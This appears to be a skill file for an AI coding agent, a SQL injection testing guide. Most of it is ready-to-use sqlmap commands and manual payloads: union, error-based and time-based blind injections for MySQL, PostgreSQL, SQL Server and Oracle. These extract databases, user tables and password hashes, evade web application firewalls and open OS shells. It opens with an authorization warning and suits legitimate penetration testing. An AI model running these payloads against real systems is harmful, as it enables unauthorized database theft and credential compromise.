SQL Injection Detection & Exploitation
Authorization Warning
DANGER: SQL injection testing can damage or destroy data in production databases. Always ensure you have:
- Written permission from the target application owner
- Isolated testing environment
- Backups of affected systems
- Legal compliance with local regulations
Never test SQL injection on production databases without authorization.
Prerequisites
Required tools that must be installed on your system:
- sqlmap -
pip install sqlmaporgit clone https://github.com/sqlmapproject/sqlmap
Optional tools:
- BBQSQL - Semi-automated SQL injection tool
- NoSQLMap - NoSQL injection testing
Quick Start
Most commonly used commands for SQL injection testing:
Automated SQLMap Scan
bashsqlmap -u "https://target.com/page?id=1"
POST Request Testing
bashsqlmap -u "https://target.com/login" --data="username=admin&password=test"
Cookie Testing
bashsqlmap -u "https://target.com" --cookie="sessionid=abc123"
Common Scenarios
Scenario 1: Basic Parameter Testing
When you need to test a URL parameter for SQL injection:
bashsqlmap -u "https://target.com/page?id=1"
Parameters:
-u- Target URL-p- Specific parameter to test (default: all)--batch- Avoid interactive prompts--random-agent- Use random User-Agent
Example:
bashsqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent
Scenario 2: POST Request Injection
When you need to test POST body parameters:
bashsqlmap -u "https://target.com/login" --data="username=admin&password=test"
From file:
bashsqlmap -u "https://target.com/login" -d post_data.txt
Scenario 3: Cookie/Header Injection
When you need to test cookies or headers:
bash# Cookie injection sqlmap -u "https://target.com" --cookie="sessionid=abc123" # User-Agent injection sqlmap -u "https://target.com" --headers="User-Agent: sqlmap" # Referer injection sqlmap -u "https://target.com" --referer="https://evil.com"
Multiple headers:
bashsqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"
Scenario 4: Specific DBMS Testing
When you know or suspect the database type:
bashsqlmap -u "https://target.com/page?id=1" --dbms=mysql sqlmap -u "https://target.com/page?id=1" --dbms=postgresql sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver sqlmap -u "https://target.com/page?id=1" --dbms=oracle
Scenario 5: Database Enumeration
When you need to extract database information:
bash# List databases sqlmap -u "https://target.com/page?id=1" --dbs # List tables sqlmap -u "https://target.com/page?id=1" -D dbname --tables # Dump table sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump # Dump all sqlmap -u "https://target.com/page?id=1" --dump-all
Scenario 6: User Enumeration
When you need to extract user credentials:
bash# Enumerate database users sqlmap -u "https://target.com/page?id=1" --users # Extract password hashes sqlmap -u "https://target.com/page?id=1" --passwords # Dump users table sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump
Scenario 7: Union-Based SQL Injection
Manual testing for Union-based SQLi:
bash# Test for SQL injection with payload https://target.com/page?id=1' OR '1'='1 https://target.com/page?id=1' UNION SELECT 1,2,3-- https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--
Determine column count:
sqlid=1' ORDER BY 1-- id=1' ORDER BY 2-- id=1' ORDER BY 3--
Check for string vs integer:
sqlid=1' UNION SELECT 1,'2',3-- id=1' UNION SELECT 1,NULL,NULL--
Scenario 8: Error-Based SQL Injection
When error messages are displayed:
bash# MySQL error injection id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))-- id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)-- id=1' AND exp(~(SELECT * FROM (SELECT database())a))-- # PostgreSQL error injection id=1' AND cast(version() as int)-- id=1'; CAST(version() AS INT)--
Scenario 9: Blind SQL Injection
When no error messages are returned:
Boolean-based:
sqlid=1' AND 1=1-- id=1' AND 1=2--
Time-based (MySQL):
sqlid=1' AND SLEEP(5)-- id=1' AND BENCHMARK(5000000, MD5(1))--
Time-based (PostgreSQL):
sqlid=1'; SELECT pg_sleep(5)-- id=1'; SELECT extract(epoch from now())-
Scenario 10: WAF Evasion
When WAF blocks injection attempts:
bash# Use tamper scripts sqlmap -u "https://target.com/page?id=1" --tamper=space2comments # Use random agent sqlmap -u "https://target.com/page?id=1" --random-agent # Different level sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1 # Specific technique sqlmap -u "https://target.com/page?id=1" --technique=U
Injection Testing Workflow
1. Initial Detection
bash# Automated scan sqlmap -u "https://target.com/page?id=1" --batch # Manual quick test curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax" curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"
2. Confirmation
bash# Confirm with multiple payloads curl "https://target.com/page?id=1 AND 1=1" curl "https://target.com/page?id=1 AND 1=2" curl "https://target.com/page?id=1' OR '1'='1"
3. Fingerprint Database
bashsqlmap -u "https://target.com/page?id=1" --current-user
4. Enumeration
bash# Get database info sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba # List databases sqlmap -u "https://target.com/page?id=1" --dbs
SQLMap Options Reference
| Option | Description |
|---|---|
-u | Target URL |
-r | Parse log file |
-l | Load from file |
-m | Scan multiple targets |
-p | Test specific parameters |
--skip | Skip parameters |
--dbms | Force DBMS |
--os | Force OS |
--tamper | Tamper script |
--level | Test level (1-5) |
--risk | Risk level (1-3) |
--technique | Specific technique (B/E/U/S/T) |
--batch | Non-interactive |
--random-agent | Random User-Agent |
--proxy | Use proxy |
--delay | Delay between requests |
--timeout | Request timeout |
--retries | Retry attempts |
--string | Match string |
--not-string | Not match string |
--regexp | Regexp filter |
--grep | Regexp filter for pages |
--crawl | Crawl site |
--forms | Parse forms |
--cookie | Cookie value |
--headers | Extra headers |
--user-agent | Custom User-Agent |
--method | Force method |
--data | POST data |
-d | POST data from file |
--dbs | Enumerate databases |
--tables | Enumerate tables |
--columns | Enumerate columns |
--schema | Enumerate schema |
--dump | Dump data |
--dump-all | Dump all |
--search | Search |
--users | Enumerate DB users |
--passwords | Enumerate password hashes |
--priv-esc | Privilege escalation |
--os-shell | OS shell |
--os-pwn | Meterpreter/OBM shell |
--sql-shell | SQL shell |
--wizard | Wizard mode |
-v | Verbosity (0-6) |
Manual Payloads
MySQL Payloads
sql-- Version detection ' UNION SELECT @@version-- -- Current user ' UNION SELECT user()-- -- Current database ' UNION SELECT database()-- -- All databases ' UNION SELECT schema_name FROM information_schema.schemata-- -- Tables from database ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -- Columns from table ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -- Concatenate data ' UNION SELECT CONCAT(username,0x3a,password) FROM users--
PostgreSQL Payloads
sql-- Version ' UNION SELECT version()-- -- Current user ' UNION SELECT user-- -- Current database ' UNION SELECT current_database()-- -- All databases ' UNION SELECT datname FROM pg_database-- -- Tables ' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'-- -- Columns ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
SQL Server Payloads
sql-- Version ' UNION SELECT @@version-- -- Database ' UNION SELECT DB_NAME()-- -- Tables ' UNION SELECT table_name FROM information_schema.tables-- -- Columns ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -- Databases ' UNION SELECT name FROM master..sysdatabases--
Oracle Payloads
sql-- Version ' UNION SELECT banner FROM v$version-- -- Tables ' UNION SELECT table_name FROM all_tables WHERE owner=USER-- -- Columns ' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
Testing Checklist
- URL parameters
- POST parameters
- Cookies
- User-Agent
- Referer
- X-Forwarded-For
- Accept headers
- JSON body fields
- GraphQL queries
- API endpoints
Scenario: Persistent Storage of SQL Injection Findings
When you need to persist SQL injection findings to the database:
bash# Manual entry after discovering SQL injection python .claude/skills/exploit-sqli/scripts/sqli_storage.py \ --host-ip 192.168.1.100 \ --url "https://example.com/login?id=1" \ --parameter id \ --payload "1' OR '1'='1" \ --severity Critical \ --cvss-score 9.8 \ --db-type MySQL \ --subsystem "Web Application"
Parameters:
--host-ip- Target host IP (required)--url- Vulnerable URL (required)--parameter- Vulnerable parameter name (required)--payload- Payload used (required)--severity- Severity level (default: High)--cvss-score- CVSS score (0.0-10.0)--db-type- Database type (e.g., MySQL, PostgreSQL)--subsystem- Subsystem name (optional)--title- Vulnerability title (auto-generated if not specified)--description- Vulnerability description
Database location: ./data/results.db
Related skills: results-storage - Query data, generate reports
Resources
Scripts
scripts/sqli_payload_generator.py- Generate SQL injection payloadsscripts/boolean_sqli_tester.py- Test blind SQL injectionscripts/response_analyzer.py- Analyze responses for injection clues
References
references/sqlmap_guide.md- Comprehensive SQLMap referencereferences/manual_sqli_techniques.md- Manual injection techniquesreferences/nosql_injection.md- NoSQL injection guide
Assets
assets/common_error_payloads.txt- Common error-based payloadsassets/time-based_payloads.txt- Time-based blind payloadsassets/dbms_fingerprints.txt- Database fingerprinting patterns
